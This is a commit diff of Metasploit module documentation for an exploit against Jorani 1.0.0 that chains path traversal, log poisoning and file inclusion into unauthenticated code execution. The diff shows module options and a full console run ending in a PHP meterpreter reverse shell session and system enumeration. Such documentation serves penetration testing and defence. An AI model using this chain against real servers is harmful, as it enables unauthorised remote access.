adam/metasploit-gs
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Apply suggestions from code review

Browse Source
This commit is contained in:
jheysel-r7
2023-08-18 15:33:59 -04:00
committed by GitHub
parent 84ad51b5c7
commit 4ddd789f51
2 changed files with 32 additions and 20 deletions
Download Patch File Download Diff File Expand all files Collapse all files
documentation/modules/exploit/multi/php/jorani_path_trav.md
+26 -16
View File
@@ -20,6 +20,9 @@ So by chaining theses 3 vulnerabilities an unauthenticated user can execute arbi
This module has been tested successfully on Jorani 1.0.0, Ubuntu 20.04 (x86_64) with kernel version 5.15.0-75.
### Installation Steps
For a step by step installation tutorial on Ubuntu please refer to [How to install Jorani](https://jorani.org/how-to-install-jorani.html)
## Verification Steps
1. Start `msfconsole`
2. `use exploit/multi/php/jorani_path_trav`
@@ -38,17 +41,17 @@ The path to the jorani website. By default it is empty.
## Scenarios
```
msf6 exploit(multi/php/jorani_path_trav) > show options
msf6 exploit(multi/php/jorani_path_trav) > options
Module options (exploit/multi/php/jorani_path_trav):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.31.3.3 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RHOSTS 172.16.199.158 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path of Jorani
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI jorani yes The base path of Jorani
VHOST no HTTP server virtual host
@@ -56,8 +59,8 @@ Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.31.3.1 yes The listen address (an interface may be specified)
LPORT 9898 yes The listen port
LHOST 172.16.199.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
@@ -69,24 +72,31 @@ Exploit target:
View the full module info with the info, or info -d command.
```
```
msf6 exploit(multi/php/jorani_path_trav) > run
[-] Handler failed to bind to 172.31.3.1:9898:- -
[*] Started reverse TCP handler on 0.0.0.0:9898
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Jorani version
[+] Jorani seems to be running on the target!
[+] Found version: 1.0.0
[+] The target appears to be vulnerable.
[*] Trying to exploit LFI
[*] Recovering CSRF token
[+] CSRF found: 3ff4c712b884e3f577d9c3f65adac16f
[*] Poisonning log with payload..
[+] CSRF found: be7e8205ad5f1fae2834478acdd0b546
[*] Poisoning log with payload..
[*] Sending 1st payload
[*] Including poisonned log file log-2023-06-27.php
[*] Including poisoned log file log-2023-08-18.php.
[+] Triggering payload
[*] Sending stage (39927 bytes) to 10.0.2.2
[*] Meterpreter session 1 opened (10.0.2.15:9898 -> 10.0.2.2:46898) at 2023-06-27 19:21:28 +0200
[*] Sending stage (39927 bytes) to 172.16.199.158
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.158:39624) at 2023-08-18 15:01:55 -0400
meterpreter > getuid
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 5.15.0-79-generic #86~20.04.2-Ubuntu SMP Mon Jul 17 23:27:17 UTC 2023 x86_64
Meterpreter : php/linux
meterpreter > exit
```